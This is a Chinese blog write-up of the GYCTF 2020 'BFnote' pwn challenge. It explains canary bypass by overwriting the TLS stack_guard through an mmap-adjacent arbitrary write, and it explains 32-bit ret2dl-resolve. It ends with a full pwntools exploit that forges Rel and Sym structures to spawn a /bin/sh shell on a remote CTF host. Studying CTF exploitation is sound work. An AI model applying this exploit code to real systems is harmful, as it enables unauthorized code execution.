GYCTF 2020-BFnote题目分析

BFnote的题目分析

2020-03-14 08:28:02 by hawkJW


题目附件、ida文件及wp链接


   自己太菜了,这道题里面包含的一些知识点和思路确实是以前完全没有接触过的。。。特别学习一下


1. 程序流程总览

首先,按照惯例,我们看一下程序开启的保护措施,如图所示

可以看到,仅仅是没有开启PIE保护,其余基本上保护都开启了,保护还是比较严格的。

下面我们来粗略的浏览一下程序的源代码来分析程序流程

可以看到流程还是比较简单的。其中有明显的两处问题,而这也将成为我们的切入点。


 2. 漏洞分析

  

我们上面提到了,这个程序有明显的两个漏洞。这里说一下,一个是这里,

s的位置在栈上,而这里的输入明显会导致栈溢出,从而修改返回地址——但需要注意的是,因为有canary保护,因此我们首先需要绕过该保护,但实际上,我们发现程序流程中唯一有输出的部分就是最后两个函数,但是即使此时我们已经知道canary的值,也没有办法通过输入进行改变了,因此,这里的canary绕过需要我们一次性在不知道canary的情况下直接绕过,这是一个难点。

第二个漏洞在这里

可以看到,虽然其检测了v4的值,让其不能无限大,但是实际上使用的时候并不是检测后的值,而是检测之间的值,那么这也就是说,我们拥有了一次在任意地址写入任意长度的能力!

 

介绍完了上面的主要的两个漏洞,我们下面将引入两个知识点作为铺垫——这些知识点将成为解题的关键。

 

第一点,我们需要明确canary的运作方式,要提到canary的工作方式,首先需要提到一个结构

typedef struct {   
void *tcb;        /* Pointer to the TCB.  Not necessarily the thread descriptor used by libpthread.  */   
dtv_t *dtv;   
void *self;       /* Pointer to the thread descriptor.  */   
int multiple_threads;   
int gscope_flag;   
uintptr_t sysinfo;   
uintptr_t stack_guard;   
uintptr_t pointer_guard;   
... } tcbhead_t; 

实际上,这里面的stack_guard中的值也就是canary保护中的canary的值,

这里面,gs寄存器指向的位置实际上就是内存中某处的tcbhead_t,而后面的0x14指的是stack_guard相对的偏移,那么tcbhead_t到底存储在哪里,这里每个libc不同,但是对于pwn题经常使用的lib来说,其分布基本如图所示

也就是恰好在libc地址更下的位置上,但是和mmap一样的,都属于共享映射区域,因此,其相对偏移是固定的,这里就引出了我们的思路,如果我们malloc了一个非常大的内存空间,从而系统不得不通过mmap来为我们分配,那么其分配到的位置也位于共享映射区域中,并且根据mmap的机制,其恰好处于tcbhead_t地址的低地址处,这里在结合我们之前提到的可以向任意地址写入的功能,即可修改canary的值,从而轻松绕过。

 

第二点,则是着重介绍一下ret2dl-resolve机制,也就是延迟绑定的相关应用。

关于延迟绑定的具体介绍可以看一下这篇blog,我认为写的相当好了。但是我们不需要这么详细的了解——只需要如何利用即可,我在这里总结一下延迟绑定用到的结构及流程

首先其用到了主要的两种结构Sym(32位为Elf32_Sym,64位为Elf64_Sym)、Rel(32位为Elf32_Rel,64位为Elf64_Rel)

对于Sym,其结构基本如图所示

typedef struct
{
  Elf32_Word    st_name; //符号名,是相对.dynstr起始的偏移(4字节)
  Elf32_Addr    st_value;  //(4字节)
  Elf32_Word    st_size;  //(4字节)
  unsigned char st_info; //对于导入函数符号而言,它是0x12(1字节)
  unsigned char st_other;  //(1字节)
  Elf32_Section st_shndx;  // (2字节)
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0
struct Elf64_Sym
{
  Elf64_Word    st_name;   //符号名,是相对.dynstr起始的偏移(4字节)
  unsigned char st_info;   //对于导入函数符号而言,它是0x12(1字节)
  unsigned char st_other;  //(1字节)
  Elf64_Section st_shndx;  //(2字节)
  Elf64_Addr    st_value;  //(8字节)
  Elf64_Xword   st_size;   //(8字节)
};//对于导入函数而言,其他字段都是0

对于Rel结构,其结构基本如图所示

typedef struct {
    Elf32_Addr        r_offset;//是got的对应的地址(4字节)
    Elf32_Word       r_info; //(4字节),其中最低字节应该为0x7,前三个字节当做一个数字,是相对.dynsym起始的偏移的下标(即偏移还需要除以0x10)
} Elf32_Rel;
typedef struct {
    Elf64_Xword    r_offset;   //是got的对应的地址(8字节)
    Elf64_Xword    r_info;     //(8字节),其中最低字节应该为0x7,前三个字节当做一个
  
 Elf64_Sxword r_addend;   //(8字节)

} Elf64_Rel;

但实际上,一般64位不使用ret2dl-resolve进行攻击,而是用万能gadget进行攻击,因此这里主要讲述32位使用ret2dl-resolve的攻击方法

对于32位的延迟绑定,实际上其最终将会成为如下图的情形

也就是第一个push的值实际上是对应的Rel与.dynrel的相对偏移,

第二个push的是一个结构,这里我们基本不用管,基本上用不上。

下面进行jmp跳转,跳转之后执行的步骤是,首先找到第一个push的偏移所对应的Rel结构,取出里面的info中包含的sym结构的下标,找到对应的sym中的字符串的地址,从而解析到这个名称为该字符串的函数,将其地址写入rel第一项的地址中。此时,将栈清空到一开始push的两个值之前,从而正常执行对应的字符串的函数即可。


 

 3. 漏洞利用

   这里漏洞利用就比较简单了,我们重新看一下流程图

一共进行了三次输入,每一次的作用都不一样

第一次的输入,目的是为了修改canary和最终的返回地址以及栈地址(汇编代码中有提到),因为我们会在第二次输入的固定地址处写入shellcode,因此返回地址和汇编地址都在第二次输入的固定地址中。

第二次输入则是为了伪造一个shellcode,我们给出其对应的想要构造处的样子

实际上,对应一下ret2dl-resolve的debug图

我们的ret2dl-resolve实际上设置为.got.plt[0](也就是图中的0x8048450)对应的地址即可,从而他解析完成后会继续按照给定的参数执行。

这里在说明一下,之所以中间有空白,作为gap,是因为执行的时候最后有栈地址的变化,如果没有gap作为阻隔,可能栈的变化会覆盖掉一些重要的数据,从而导致程序崩溃,所以这是一个大坑。。需要留有一定的gap作为栈空间变化的gap

第三次输入就是使用我们之前讲到过的TLS,申请一个大于0x20000的空间,从而使系统使用mmap进行分配,从而完成canary的绕过

  最后放出最后wp

#coding:utf-8
from pwn import *

context.log_level = 'debug'

debug = 1


def exp(debug):
    elf = ELF('./BFnote')

    if debug == 1:
        #r = process('./BFnote')
        #gdb.attach(r, 'b *0x0804897A')
        r = gdb.debug('./BFnote', 'b *0x080487A4')
        lib = ELF('/lib/i386-linux-gnu/libc-2.23.so')
    else:
        r = remote('node3.buuoj.cn', 27644)
        lib = ELF('./libc.so.6')

    bss_start = 0x0804A060
    gap = 0x500
    stack_overflow = 'a' * (0x3e - 0xc + 0x8) + p64(bss_start + gap + 0x4)

    
    r.recvuntil('Give your description : ')
    r.send(stack_overflow)

    r.recvuntil('Give your postscript : ')

    #--------------------------通过ret2dl——resolve来获取system,从而完成pwn--------------------------------------------

    fake_sym = p32(bss_start + gap + 0x4 * 4 + 0x8 - 0x80482C8) + p32(0) + p32(0) + p32(0x12)
    fake_rel = p32(bss_start) + p32(0x7 + int((bss_start + gap + 0x4 * 4 + 0x8 + 0x8 + 0x8 - 0x080481D8) / 0x10) * 0x100)
    r.send('\x00' * gap + p32(0x08048450) + p32(bss_start + gap + 0x4 * 4 + 0x8 * 2 - 0x080483D0) + p32(0) + p32(bss_start + gap + 0x4 * 4) + '/bin/sh\x00' + 'system\x00\x00' + fake_rel + fake_sym)

    r.recvuntil('Give your notebook size : ')
    r.send(str(0x20000))

    #-------------------------通过修改tls绕过canary------------------------
    r.recvuntil('Give your title size : ')
    r.send(str(0xf7d1a714 - 0xf7cf9008 - 16))

    r.recvuntil('invalid ! please re-enter :\n')
    r.send(str(4))

    r.recvuntil('Give your title : ')
    r.send('a')
    
    r.recvuntil('Give your note : ')
    r.send('aaaa')

    
    r.interactive()
        

exp(debug)

 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值